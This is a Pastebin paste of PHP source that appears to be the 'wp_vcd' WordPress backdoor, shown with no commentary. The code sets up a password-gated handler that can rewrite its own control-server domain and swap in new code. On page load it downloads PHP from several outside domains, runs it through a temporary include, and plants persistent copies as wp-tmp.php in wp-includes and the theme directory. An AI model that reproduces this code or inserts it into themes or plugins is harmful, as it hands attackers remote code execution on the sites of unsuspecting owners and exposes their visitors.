Advertisement
Guest User

unsolicited

a guest
Mar 12th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.06 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f45c2721409cf6c5535c0304df2470fd'))
  3. {
  4. $div_code_name="wp_vcd";
  5. switch ($_REQUEST['action'])
  6. {
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13. case 'change_domain';
  14. if (isset($_REQUEST['newdomain']))
  15. {
  16.  
  17. if (!empty($_REQUEST['newdomain']))
  18. {
  19. if ($file = @file_get_contents(__FILE__))
  20. {
  21. if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  22. {
  23.  
  24. $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  25. @file_put_contents(__FILE__, $file);
  26. print "true";
  27. }
  28.  
  29.  
  30. }
  31. }
  32. }
  33. break;
  34.  
  35. case 'change_code';
  36. if (isset($_REQUEST['newcode']))
  37. {
  38.  
  39. if (!empty($_REQUEST['newcode']))
  40. {
  41. if ($file = @file_get_contents(__FILE__))
  42. {
  43. if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  44. {
  45.  
  46. $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  47. @file_put_contents(__FILE__, $file);
  48. print "true";
  49. }
  50.  
  51.  
  52. }
  53. }
  54. }
  55. break;
  56.  
  57. default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  58. }
  59.  
  60. die("");
  61. }
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70. $div_code_name = "wp_vcd";
  71. $funcfile = __FILE__;
  72. if(!function_exists('theme_temp_setup')) {
  73. $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  74. if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  75.  
  76. function file_get_contents_tcurl($url)
  77. {
  78. $ch = curl_init();
  79. curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  80. curl_setopt($ch, CURLOPT_HEADER, 0);
  81. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  82. curl_setopt($ch, CURLOPT_URL, $url);
  83. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  84. $data = curl_exec($ch);
  85. curl_close($ch);
  86. return $data;
  87. }
  88.  
  89. function theme_temp_setup($phpCode)
  90. {
  91. $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  92. $handle = fopen($tmpfname, "w+");
  93. if( fwrite($handle, "<?php\n" . $phpCode))
  94. {
  95. }
  96. else
  97. {
  98. $tmpfname = tempnam('./', "theme_temp_setup");
  99. $handle = fopen($tmpfname, "w+");
  100. fwrite($handle, "<?php\n" . $phpCode);
  101. }
  102. fclose($handle);
  103. include $tmpfname;
  104. unlink($tmpfname);
  105. return get_defined_vars();
  106. }
  107.  
  108.  
  109. $wp_auth_key='bb9aed696b080d6d327d927fc0b733d8';
  110. if (($tmpcontent = @file_get_contents("http://www.macocs.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.macocs.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  111.  
  112. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  113. extract(theme_temp_setup($tmpcontent));
  114. @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  115.  
  116. if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  117. @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  118. if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  119. @file_put_contents('wp-tmp.php', $tmpcontent);
  120. }
  121. }
  122.  
  123. }
  124. }
  125.  
  126.  
  127. elseif ($tmpcontent = @file_get_contents("http://www.macocs.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  128.  
  129. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  130. extract(theme_temp_setup($tmpcontent));
  131. @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  132.  
  133. if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  134. @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  135. if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  136. @file_put_contents('wp-tmp.php', $tmpcontent);
  137. }
  138. }
  139.  
  140. }
  141. }
  142.  
  143. elseif ($tmpcontent = @file_get_contents("http://www.macocs.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  144.  
  145. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  146. extract(theme_temp_setup($tmpcontent));
  147. @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  148.  
  149. if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  150. @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  151. if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  152. @file_put_contents('wp-tmp.php', $tmpcontent);
  153. }
  154. }
  155.  
  156. }
  157. }
  158. elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  159. extract(theme_temp_setup($tmpcontent));
  160.  
  161. } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  162. extract(theme_temp_setup($tmpcontent));
  163.  
  164. } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  165. extract(theme_temp_setup($tmpcontent));
  166.  
  167. }
  168.  
  169.  
  170.  
  171.  
  172.  
  173. }
  174. }
  175.  
  176. //$start_wp_theme_tmp
  177.  
  178.  
  179.  
  180. //wp_tmp
  181.  
  182.  
  183. //$end_wp_theme_tmp
  184. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement